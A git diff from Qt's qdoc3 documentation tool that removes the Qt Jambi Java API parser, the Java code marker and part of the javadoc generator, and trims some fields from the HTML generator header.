- DcfSection dcfLinguistRoot;
- DcfSection dcfAssistantRoot;
- DcfSection dcfQmakeRoot;
HelpProjectWriter *helpProjectWriter;
bool inLink;
bool inObsoleteLink;
@@ -301,15 +261,15 @@ class HtmlGenerator : public PageGenerator
bool inTableHeader;
int numTableRows;
bool threeColumnEnumValueTable;
- Application application;
QString link;
QStringList sectionNumber;
QRegExp funcLeftParen;
QString style;
+ QString headerScripts;
+ QString headerStyles;
+ QString endHeader;
QString postHeader;
QString postPostHeader;
- QString creatorPostHeader;
- QString creatorPostPostHeader;
QString footer;
QString address;
bool pleaseGenerateMacRef;
@@ -320,7 +280,6 @@ class HtmlGenerator : public PageGenerator
QStringList stylesheets;
QStringList customHeadElements;
const Tree *myTree;
- bool slow;
bool obsoleteLinks;
QMap<QString, NodeMap > moduleClassMap;
QMap<QString, NodeMap > moduleNamespaceMap;
@@ -348,11 +307,6 @@ class HtmlGenerator : public PageGenerator
#define HTMLGENERATOR_GENERATEMACREFS "generatemacrefs" // ### document me
#define HTMLGENERATOR_POSTHEADER "postheader"
#define HTMLGENERATOR_POSTPOSTHEADER "postpostheader"
-#define HTMLGENERATOR_CREATORPOSTHEADER "postheader"
-#define HTMLGENERATOR_CREATORPOSTPOSTHEADER "postpostheader"
-#define HTMLGENERATOR_STYLE "style"
-#define HTMLGENERATOR_STYLESHEETS "stylesheets"
-#define HTMLGENERATOR_CUSTOMHEADELEMENTS "customheadelements"
QT_END_NAMESPACE
diff --git a/tools/qdoc3/jambiapiparser.cpp b/tools/qdoc3/jambiapiparser.cpp
deleted file mode 100644
index 82404c9..0000000
--- a/tools/qdoc3/jambiapiparser.cpp
+++ /dev/null
@@ -1,546 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
- jambiapiparser.cpp
-*/
-
-#include "cppcodeparser.h"
-#include "jambiapiparser.h"
-#include "node.h"
-#include "tree.h"
-
-QT_BEGIN_NAMESPACE
-
-static const char USED_INTERNALLY[] = "";
-
-static Text textWithFixedBrief(const Text &text, const Text &beforeBrief,
- const Text &afterBrief)
-{
- Text result;
-
- const Atom *atom = text.firstAtom();
- while (atom) {
- if (atom->type() == Atom::BriefLeft) {
- result << Atom::ParaLeft << beforeBrief;
- } else if (atom->type() == Atom::BriefRight) {
- result << afterBrief << Atom::ParaRight;
- } else {
- result << *atom;
- }
- atom = atom->next();
- }
-
- return result;
-}
-
-static void setPass1JambifiedDoc(Node *javaNode, const Node *cppNode, const QString &qName = "")
-{
- Doc newDoc(cppNode->doc());
-
- if (javaNode->type() == Node::Function) {
- const FunctionNode *javaFunc = static_cast<const FunctionNode *>(javaNode);
- if (cppNode->type() == Node::Function) {
- const FunctionNode *cppFunc = static_cast<const FunctionNode *>(cppNode);
- if (const PropertyNode *property = cppFunc->associatedProperty()) {
- newDoc = property->doc();
- Text text(newDoc.body());
-
- Node *mutableCppNode = const_cast<Node *>(cppNode);
- if (property->getters().contains(mutableCppNode)) {
- text = textWithFixedBrief(text, Text("Returns "), Text("."));
- } else if (property->setters().contains(mutableCppNode)) {
- Text afterBrief;
- if (javaFunc->parameterNames().count() == 1
- && !javaFunc->parameterNames().first().isEmpty()) {
- afterBrief << " to "
- << Atom(Atom::FormattingLeft, ATOM_FORMATTING_PARAMETER)
- << javaFunc->parameterNames().first()
- << Atom(Atom::FormattingRight, ATOM_FORMATTING_PARAMETER);
- }
- afterBrief << ".";
- text = textWithFixedBrief(text, Text("Sets "), afterBrief);
- } else if (property->resetters().contains(mutableCppNode)) {
- text = textWithFixedBrief(text, Text("Resets "), Text("."));
- }
-
- newDoc.setBody(text);
- } else {
- QStringList javaParams = javaFunc->parameterNames();
- QStringList cppParams = cppFunc->parameterNames();
- newDoc.renameParameters(cppParams, javaParams);
-
- if (cppNode->access() == Node::Private) {
- Text text;
- text << Atom::ParaLeft;
- if (cppFunc->reimplementedFrom()) {
- text << "This function is reimplemented for internal reasons.";
- } else {
- text << USED_INTERNALLY;
- }
- text << Atom::ParaRight;
- newDoc.setBody(text);
- }
- }
- } else if (cppNode->type() == Node::Variable) {
- Text text(newDoc.body());
-
- if (qName == "variablegetter") {
- text = textWithFixedBrief(text, Text("Returns "), Text("."));
- } else if (qName == "variablesetter") {
- Text afterBrief;
- if (javaFunc->parameterNames().count() == 1
- && !javaFunc->parameterNames().first().isEmpty()) {
- afterBrief << " to "
- << Atom(Atom::FormattingLeft, ATOM_FORMATTING_PARAMETER)
- << javaFunc->parameterNames().first()
- << Atom(Atom::FormattingRight, ATOM_FORMATTING_PARAMETER);
- }
- afterBrief << ".";
- text = textWithFixedBrief(text, Text("Sets "), afterBrief);
- }
-
- newDoc.setBody(text);
- }
- } else { // ### enum value names?
-
- }
-
- javaNode->setDoc(newDoc, true);
-}
-
-static void setStatus(Node *javaNode, const Node *cppNode)
-{
- if (cppNode->status() == Node::Compat) {
- javaNode->setStatus(Node::Obsolete);
- } else {
- javaNode->setStatus(cppNode->status());
- }
-}
-
-static Text findEnumText(Node *javaEnum, const QString &enumItemName)
-{
- const Text &body = javaEnum->doc().body();
- const Atom *atom = body.firstAtom();
- while (atom) {
- if (atom->type() == Atom::ListTagLeft && atom->string() == ATOM_LIST_VALUE) {
- atom = atom->next();
- if (atom) {
- // ### paras?
- if (atom->string() == enumItemName)
- return body.subText(Atom::ListItemLeft, Atom::ListItemRight, atom);
- }
- } else {
- atom = atom->next();
- }
- }
- return Text();
-}
-
-JambiApiParser::JambiApiParser(Tree *cppTree)
- : cppTre(cppTree), javaTre(0), metJapiTag(false)
-{
-}
-
-JambiApiParser::~JambiApiParser()
-{
-}
-
-void JambiApiParser::initializeParser(const Config &config)
-{
- CodeParser::initializeParser(config);
-}
-
-void JambiApiParser::terminateParser()
-{
- CodeParser::terminateParser();
-}
-
-QString JambiApiParser::language()
-{
- return "Java";
-}
-
-QString JambiApiParser::sourceFileNameFilter()
-{
- return "*.japi";
-}
-
-void JambiApiParser::parseSourceFile(const Location &location, const QString &filePath, Tree *tree)
-{
- javaTre = tree;
- metJapiTag = false;
-
- QXmlSimpleReader reader;
- reader.setContentHandler(this);
- reader.setErrorHandler(this);
-
- QFile file(filePath);
- if (!file.open(QFile::ReadOnly)) {
- location.warning(tr("Cannot open JAPI file '%1'").arg(filePath));
- return;
- }
-
- japiLocation = Location(filePath);
- QXmlInputSource xmlSource(&file);
- reader.parse(xmlSource);
-}
-
-void JambiApiParser::doneParsingSourceFiles(Tree * /* tree */)
-{
- /*
- Also import the overview documents.
- */
- foreach (Node *cppNode, cppTre->root()->childNodes()) {
- if (cppNode->type() == Node::Fake) {
- FakeNode *cppFake = static_cast<FakeNode *>(cppNode);
- if (cppFake->subType() == Node::Page) {
- FakeNode *javaFake = new FakeNode(javaTre->root(),
- cppFake->name(),
- cppFake->subType());
- javaFake->setModuleName("com.trolltech.qt"); // ### hard-coded
- javaFake->setTitle(cppFake->title());
- javaFake->setSubTitle(cppFake->subTitle());
- setStatus(javaFake, cppFake);
- setPass1JambifiedDoc(javaFake, cppFake);
- }
- }
- }
-
- /*
- Fix the docs.
- */
- if (javaTre) {
- javaTre->resolveInheritance();
- jambifyDocsPass2(javaTre->root());
- javaTre = 0;
- }
-}
-
-bool JambiApiParser::startElement(const QString & /* namespaceURI */,
- const QString & /* localName */,
- const QString &qName,
- const QXmlAttributes &attributes)
-{
- if (!metJapiTag && qName != "japi") {
- // ### The file is not a JAPI file.
- return true;
- }
- metJapiTag = true;
-
- EnumNode *javaEnum = 0;
- EnumNode *cppEnum = 0;
- InnerNode *javaParent = javaTre->root();
- InnerNode *cppParent = cppTre->root();
-
- for (int i = 0; i < classAndEnumStack.count(); ++i) {
- const ClassOrEnumInfo &info = classAndEnumStack.at(i);
- if (info.cppNode) {
- if (info.cppNode->type() == Node::Enum) {
- Q_ASSERT(info.javaNode->type() == Node::Enum);
- javaEnum = static_cast<EnumNode *>(info.javaNode);
- cppEnum = static_cast<EnumNode *>(info.cppNode);
- } else {
- Q_ASSERT(info.javaNode->type() == Node::Class
- || info.javaNode->type() == Node::Namespace);
- javaParent = static_cast<InnerNode *>(info.javaNode);
- cppParent = static_cast<InnerNode *>(info.cppNode);
- }
- }
- }
-
- if (qName == "class" || qName == "enum") {
- Node::Type type = (qName == "class") ? Node::Class : Node::Enum;
-
- QString javaExtends = attributes.value("java-extends");
- QString javaImplements = attributes.value("javaimplements");
-
- ClassOrEnumInfo info;
- info.tag = qName;
- info.javaName = attributes.value("java");
- info.cppName = attributes.value("cpp");
- info.cppNode = cppTre->findNode(info.cppName.split("::"), type, cppParent);
- if (!info.cppNode && type == Node::Class) {
- type = Node::Namespace;
- info.cppNode = cppTre->findNode(info.cppName.split("::"), type, cppParent);
- }
-
- if (!info.cppNode) {
- japiLocation.warning(tr("Cannot find C++ class or enum '%1'").arg(info.cppName));
- } else {
- if (qName == "class") {
- ClassNode *javaClass = new ClassNode(javaParent, info.javaName);
- javaClass->setModuleName(attributes.value("package"));
- if (!javaExtends.isEmpty())
- javaTre->addBaseClass(javaClass, Node::Public, javaExtends.split('.'),
- javaExtends);
- if (!javaImplements.isEmpty())
- javaTre->addBaseClass(javaClass, Node::Public, javaImplements.split('.'),
- javaExtends);
-
- info.javaNode = javaClass;
- } else {
- info.javaNode = new EnumNode(javaParent, info.javaName);
- }
- info.javaNode->setLocation(japiLocation);
- setStatus(info.javaNode, info.cppNode);
-
- setPass1JambifiedDoc(info.javaNode, info.cppNode);
- }
- classAndEnumStack.push(info);
- } else if (qName == "method" || qName == "signal") {
- QString javaSignature = attributes.value("java");
- if (javaSignature.startsWith("private"))
- return true;
-
- QString cppSignature = attributes.value("cpp");
-
- CppCodeParser cppParser;
- const FunctionNode *cppNode = cppParser.findFunctionNode(cppSignature, cppTre,
- cppParent,
- true /* fuzzy */);
- if (!cppNode) {
- bool quiet = false;
-
- /*
- Default constructors sometimes don't exist in C++.
- */
- if (!quiet && javaSignature == "public " + javaParent->name() + "()")
- quiet = true;
-
- if (!quiet)
- japiLocation.warning(tr("Cannot find C++ function '%1' ('%2')")
- .arg(cppSignature).arg(cppParent->name()));
- }
-
- FunctionNode *javaNode;
- if (makeFunctionNode(javaParent, javaSignature, &javaNode)) {
- javaNode->setLocation(japiLocation);
- if (qName == "signal")
- javaNode->setMetaness(FunctionNode::Signal);
-
- if (cppNode) {
- setStatus(javaNode, cppNode);
-
- int overloadNo = cppNode->parameters().count() - javaNode->parameters().count() + 1;
- if (overloadNo == 1) {
- setPass1JambifiedDoc(javaNode, cppNode);
- } else {
- Text text;
-
- text << Atom::ParaLeft << "Equivalent to "
- << Atom(Atom::Link, javaNode->name() + "()")
- << Atom(Atom::FormattingLeft, ATOM_FORMATTING_LINK)
- << javaNode->name()
- << Atom(Atom::FormattingRight, ATOM_FORMATTING_LINK)
- << "(";
-
- for (int i = 0; i < cppNode->parameters().count(); ++i) {
- if (i > 0)
- text << ", ";
- if (i < javaNode->parameters().count()) {
- text << Atom(Atom::FormattingLeft, ATOM_FORMATTING_PARAMETER)
- << javaNode->parameters().at(i).name()
- << Atom(Atom::FormattingRight, ATOM_FORMATTING_PARAMETER);
- } else {
- // ### convert to Java
- text << cppNode->parameters().at(i).defaultValue();
- }
- }
-
- text << ").";
-
- Doc doc;
- doc.setBody(text);
- javaNode->setDoc(doc, true);
- }
- javaNode->setOverload(overloadNo > 1);
- }
- }
- } else if (qName == "variablesetter" || qName == "variablegetter") {
- QString javaSignature = attributes.value("java");
- if (javaSignature.startsWith("private"))
- return true;
-
- QString cppVariable = attributes.value("cpp");
-
- VariableNode *cppNode = static_cast<VariableNode *>(cppParent->findNode(cppVariable,
- Node::Variable));
- FunctionNode *javaNode;
- if (makeFunctionNode(javaParent, javaSignature, &javaNode)) {
- javaNode->setLocation(japiLocation);
-
- if (!cppNode) {
-#if 0
- japiLocation.warning(tr("Cannot find C++ variable '%1' ('%2')")
- .arg(cppVariable).arg(cppParent->name()));
-#endif
- javaNode->setDoc(Doc(japiLocation, japiLocation,
- USED_INTERNALLY,
- QSet<QString>()), true);
- } else {
- setPass1JambifiedDoc(javaNode, cppNode, qName);
- setStatus(javaNode, cppNode);
- }
- }
- } else if (qName == "enum-value") {
- QString javaName = attributes.value("java");
- QString cppName = attributes.value("cpp");
- QString value = attributes.value("value");
-
- if (javaEnum) {
- EnumItem item(javaName, value, findEnumText(javaEnum, javaName));
- javaEnum->addItem(item);
- }
- }
-
- return true;
-}
-
-bool JambiApiParser::endElement(const QString & /* namespaceURI */,
- const QString & /* localName */,
- const QString &qName)
-{
- if (qName == "class" || qName == "enum")
- classAndEnumStack.pop();
- return true;
-}
-
-bool JambiApiParser::fatalError(const QXmlParseException &exception)
-{
- japiLocation.setLineNo(exception.lineNumber());
- japiLocation.setColumnNo(exception.columnNumber());
- japiLocation.warning(tr("Syntax error in JAPI file (%1)").arg(exception.message()));
- return true;
-}
-
-void JambiApiParser::jambifyDocsPass2(Node *node)
-{
- const Doc &doc = node->doc();
- if (!doc.isEmpty()) {
- if (node->type() == Node::Enum) {
- Doc newDoc(doc);
- newDoc.simplifyEnumDoc();
- node->setDoc(newDoc, true);
- }
- }
-
- if (node->isInnerNode()) {
- InnerNode *innerNode = static_cast<InnerNode *>(node);
- foreach (Node *child, innerNode->childNodes())
- jambifyDocsPass2(child);
- }
-}
-
-bool JambiApiParser::makeFunctionNode(InnerNode *parent, const QString &synopsis,
- FunctionNode **funcPtr)
-{
- Node::Access access = Node::Public;
- FunctionNode::Metaness metaness = FunctionNode::Plain;
- bool final = false;
- bool statique = false;
-
- QString mySynopsis = synopsis.simplified();
- int oldLen;
- do {
- oldLen = mySynopsis.length();
-
- if (mySynopsis.startsWith("public ")) {
- mySynopsis.remove(0, 7);
- access = Node::Public;
- }
- if (mySynopsis.startsWith("protected ")) {
- mySynopsis.remove(0, 10);
- access = Node::Protected;
- }
- if (mySynopsis.startsWith("private ")) {
- mySynopsis.remove(0, 8);
- access = Node::Private;
- }
- if (mySynopsis.startsWith("native ")) {
- mySynopsis.remove(0, 7);
- metaness = FunctionNode::Native;
- }
- if (mySynopsis.startsWith("final ")) {
- mySynopsis.remove(0, 6);
- final = true;
- }
- if (mySynopsis.startsWith("static ")) {
- mySynopsis.remove(0, 7);
- statique = true;
- }
- } while (oldLen != mySynopsis.length());
-
- // method or constructor
- QRegExp funcRegExp("(?:(.*) )?([A-Za-z_0-9]+)\\((.*)\\)");
- if (!funcRegExp.exactMatch(mySynopsis))
- return false;
-
- QString retType = funcRegExp.cap(1);
- QString funcName = funcRegExp.cap(2);
- QStringList params = funcRegExp.cap(3).split(",");
-
- FunctionNode *func = new FunctionNode(parent, funcName);
- func->setReturnType(retType);
- func->setAccess(access);
- func->setStatic(statique);
- func->setConst(final);
- func->setMetaness(metaness);
-
- QRegExp paramRegExp(" ?([^ ].*) ([A-Za-z_0-9]+) ?");
-
- foreach (const QString &param, params) {
- if (paramRegExp.exactMatch(param)) {
- func->addParameter(Parameter(paramRegExp.cap(1), "", paramRegExp.cap(2)));
- } else {
- // problem
- }
- }
-
- if (funcPtr) {
- *funcPtr = func;
- } else if (!parent) {
- delete func;
- }
- return true;
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/jambiapiparser.h b/tools/qdoc3/jambiapiparser.h
deleted file mode 100644
index e91bbc8..0000000
--- a/tools/qdoc3/jambiapiparser.h
+++ /dev/null
@@ -1,99 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
- jambiapiparser.h
-*/
-
-#ifndef JAMBIAPIPARSER_H
-#define JAMBIAPIPARSER_H
-
-#include <QStack>
-#include <QXmlDefaultHandler>
-
-#include "codeparser.h"
-
-QT_BEGIN_NAMESPACE
-
-struct ClassOrEnumInfo
-{
- QString tag;
- QString javaName;
- QString cppName;
- Node *javaNode;
- Node *cppNode;
-
- ClassOrEnumInfo() : javaNode(0), cppNode(0) {}
-};
-
-class JambiApiParser : public CodeParser, private QXmlDefaultHandler
-{
-public:
- JambiApiParser(Tree *cppTree);
- ~JambiApiParser();
-
- void initializeParser(const Config &config);
- void terminateParser();
- QString language();
- QString sourceFileNameFilter();
- void parseSourceFile(const Location &location, const QString &filePath, Tree *tree);
- virtual void doneParsingSourceFiles(Tree *tree);
-
-private:
- bool startElement(const QString &namespaceURI, const QString &localName,
- const QString &qName, const QXmlAttributes &attributes);
- bool endElement(const QString &namespaceURI, const QString &localName,
- const QString &qName);
- bool fatalError(const QXmlParseException &exception);
- void jambifyDocsPass2(Node *node);
- bool makeFunctionNode(InnerNode *parent, const QString &synopsis, FunctionNode **funcPtr);
-
- Tree *cppTre;
- Tree *javaTre;
-
- bool metJapiTag;
- Location japiLocation;
- QStack<ClassOrEnumInfo> classAndEnumStack;
-};
-
-QT_END_NAMESPACE
-
-#endif
diff --git a/tools/qdoc3/javacodemarker.cpp b/tools/qdoc3/javacodemarker.cpp
deleted file mode 100644
index e2b1262..0000000
--- a/tools/qdoc3/javacodemarker.cpp
+++ /dev/null
@@ -1,203 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
- javacodemarker.cpp
-*/
-
-#include "javacodemarker.h"
-#include "node.h"
-#include "text.h"
-#include "tree.h"
-
-QT_BEGIN_NAMESPACE
-
-JavaCodeMarker::JavaCodeMarker()
-{
-}
-
-JavaCodeMarker::~JavaCodeMarker()
-{
-}
-
-bool JavaCodeMarker::recognizeCode( const QString& /* code */ )
-{
- return true;
-}
-
-bool JavaCodeMarker::recognizeExtension( const QString& ext )
-{
- return ext == "java";
-}
-
-bool JavaCodeMarker::recognizeLanguage( const QString& lang )
-{
- return lang == "Java";
-}
-
-QString JavaCodeMarker::plainName( const Node *node )
-{
- return node->name();
-}
-
-QString JavaCodeMarker::plainFullName( const Node *node, const Node * /* relative */ )
-{
- if (!node)
- return QString();
-
- QString fullName;
- for ( ;; ) {
- fullName.prepend( plainName(node) );
- if ( node->parent() && node->parent()->name().isEmpty() )
- break;
- node = node->parent();
- if (!node)
- break;
- fullName.prepend(".");
- }
- return fullName;
-}
-
-QString JavaCodeMarker::markedUpCode( const QString& code,
- const Node * /* relative */,
- const QString& /* dirPath */ )
-{
- return protect( code );
-}
-
-QString JavaCodeMarker::markedUpSynopsis(const Node * /* node */,
- const Node * /* relative */,
- SynopsisStyle /* style */)
-{
- return QString();
-}
-
-QString JavaCodeMarker::markedUpName( const Node *node )
-{
- return linkTag(node, taggedNode(node));
-}
-
-QString JavaCodeMarker::markedUpFullName(const Node *node, const Node * /* relative */ )
-{
- QString fullName;
- for ( ;; ) {
- fullName.prepend( markedUpName(node) );
- if ( node->parent()->name().isEmpty() )
- break;
- node = node->parent();
- fullName.prepend( "." );
- }
- return fullName;
-}
-
-QString JavaCodeMarker::markedUpEnumValue(const QString &enumValue,
- const Node * /* relative */)
-{
- return protect(enumValue);
-}
-
-QString JavaCodeMarker::markedUpIncludes( const QStringList& /* includes */ )
-{
- return QString();
-}
-
-QString JavaCodeMarker::functionBeginRegExp( const QString& /* funcName */)
-{
- return "^x$"; // ### invalid regexp
-}
-
-QString JavaCodeMarker::functionEndRegExp( const QString& /* funcName */ )
-{
- return "^}";
-}
-
-QList<Section> JavaCodeMarker::sections(const InnerNode * /* inner */, SynopsisStyle /* style */,
- Status /* status */)
-{
- return QList<Section>();
-}
-
-const Node *JavaCodeMarker::resolveTarget(const QString &target,
- const Tree *tree,
- const Node *relative,
- const Node* /* self */)
-{
- if (target.endsWith("()")) {
- const FunctionNode *func;
- QString funcName = target;
- funcName.chop(2);
-
- QStringList path = funcName.split('.');
- if ((func = tree->findFunctionNode(path, relative, Tree::SearchBaseClasses)))
- return func;
- } else if (target.contains("#")) {
- int hashAt = target.indexOf("#");
- QString link = target.left(hashAt);
- QString ref = target.mid(hashAt + 1);
- const Node *node;
- if (link.isEmpty()) {
- node = relative;
- } else {
- QStringList path(link);
- node = tree->findNode(path, tree->root(), Tree::SearchBaseClasses);
- }
- if (node && node->isInnerNode()) {
- const Atom *atom = node->doc().body().firstAtom();
- while (atom) {
- if (atom->type() == Atom::Target && atom->string() == ref) {
- Node *parentNode = const_cast<Node *>(node);
- return new TargetNode(static_cast<InnerNode*>(parentNode),
- ref);
- }
- atom = atom->next();
- }
- }
- } else {
- QStringList path = target.split('.');
- const Node *node;
- if ((node = tree->findNode(path, relative,
- Tree::SearchBaseClasses | Tree::SearchEnumValues)))
- return node;
- }
- return 0;
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/javacodemarker.h b/tools/qdoc3/javacodemarker.h
deleted file mode 100644
index 25f80c9..0000000
--- a/tools/qdoc3/javacodemarker.h
+++ /dev/null
@@ -1,83 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
- javacodemarker.h
-*/
-
-#ifndef JAVACODEMARKER_H
-#define JAVACODEMARKER_H
-
-#include "codemarker.h"
-
-QT_BEGIN_NAMESPACE
-
-class JavaCodeMarker : public CodeMarker
-{
-public:
- JavaCodeMarker();
- ~JavaCodeMarker();
-
- bool recognizeCode( const QString& code );
- bool recognizeExtension( const QString& ext );
- bool recognizeLanguage( const QString& lang );
- QString plainName(const Node *node);
- QString plainFullName(const Node *node, const Node *relative);
- QString markedUpCode( const QString& code, const Node *relative,
- const QString& dirPath );
- QString markedUpSynopsis( const Node *node, const Node *relative,
- SynopsisStyle style );
- QString markedUpName( const Node *node );
- QString markedUpFullName( const Node *node, const Node *relative );
- QString markedUpEnumValue(const QString &enumValue, const Node *relative);
- QString markedUpIncludes( const QStringList& includes );
- QList<Section> sections(const InnerNode *innerNode, SynopsisStyle style, Status status);
- QString functionBeginRegExp( const QString& funcName );
- QString functionEndRegExp( const QString& funcName );
- const Node* resolveTarget( const QString& target,
- const Tree* tree,
- const Node* relative,
- const Node* self = 0 );
-};
-
-QT_END_NAMESPACE
-
-#endif
diff --git a/tools/qdoc3/javadocgenerator.cpp b/tools/qdoc3/javadocgenerator.cpp
deleted file mode 100644
index d71ad6b..0000000
--- a/tools/qdoc3/javadocgenerator.cpp
+++ /dev/null
@@ -1,454 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#include "javadocgenerator.h"
-
-QT_BEGIN_NAMESPACE
-
-enum JavaSignatureSyntax {
- GeneratedJdocFile,
- JavadocRef,
- SlotSignature
-};
-
-static QString javaSignature(const FunctionNode *func, JavaSignatureSyntax syntax,
- int maxParams = 65535)
-{
- maxParams = qMin(maxParams, func->parameters().count());
-
- QString result;
-
- if (syntax == GeneratedJdocFile) {
- if (func->access() == Node::Public) {
- result += "public ";
- } else if (func->access() == Node::Protected) {
- result += "protected ";
- } else {
- result += "private ";
- }
-
- if (func->metaness() == FunctionNode::Native)
- result += "native ";
-
- if (func->isConst())
- result += "final ";
-
- // ### func->metaness() == FunctionNode::Abstract
-
- if (func->isStatic())
- result += "static ";
-
- if (!func->returnType().isEmpty()) {
- result += func->returnType();
- result += ' ';
- }
- }
-
- if (syntax == SlotSignature) {
- result += "void mySlot";
- } else {
- result += func->name();
- }
- result += '(';
- for (int i = 0; i < maxParams; ++i) {
- if (i != 0)
- result += ", ";
- result += func->parameters().at(i).leftType();
- if (syntax != JavadocRef) {
- result += ' ';
- result += func->parameters().at(i).name();
- }
- }
- result += ')';
-
- return result;
-}
-
-static QString packageName(const Node *node)
-{
- while (node && node->type() != Node::Class && node->type() != Node::Fake)
- node = node->parent();
- if (!node)
- return QString();
- return node->moduleName();
-}
-
-JavadocGenerator::JavadocGenerator()
- : oldDevice(0), currentDepth(0)
-{
-}
-
-JavadocGenerator::~JavadocGenerator()
-{
-}
-
-void JavadocGenerator::initializeGenerator(const Config &config)
-{
- HtmlGenerator::initializeGenerator(config);
-
- formattingLeftMap().insert(ATOM_FORMATTING_PARAMETER,
- formattingLeftMap().value(ATOM_FORMATTING_TELETYPE));
- formattingRightMap().insert(ATOM_FORMATTING_PARAMETER,
- formattingRightMap().value(ATOM_FORMATTING_TELETYPE));
-}
-
-void JavadocGenerator::terminateGenerator()
-{
- HtmlGenerator::terminateGenerator();
-}
-
-QString JavadocGenerator::format()
-{
- return "javadoc";
-}
-
-void JavadocGenerator::generateTree(const Tree *tree, CodeMarker *marker)
-{
- HtmlGenerator::generateTree(tree, marker);
-}
-
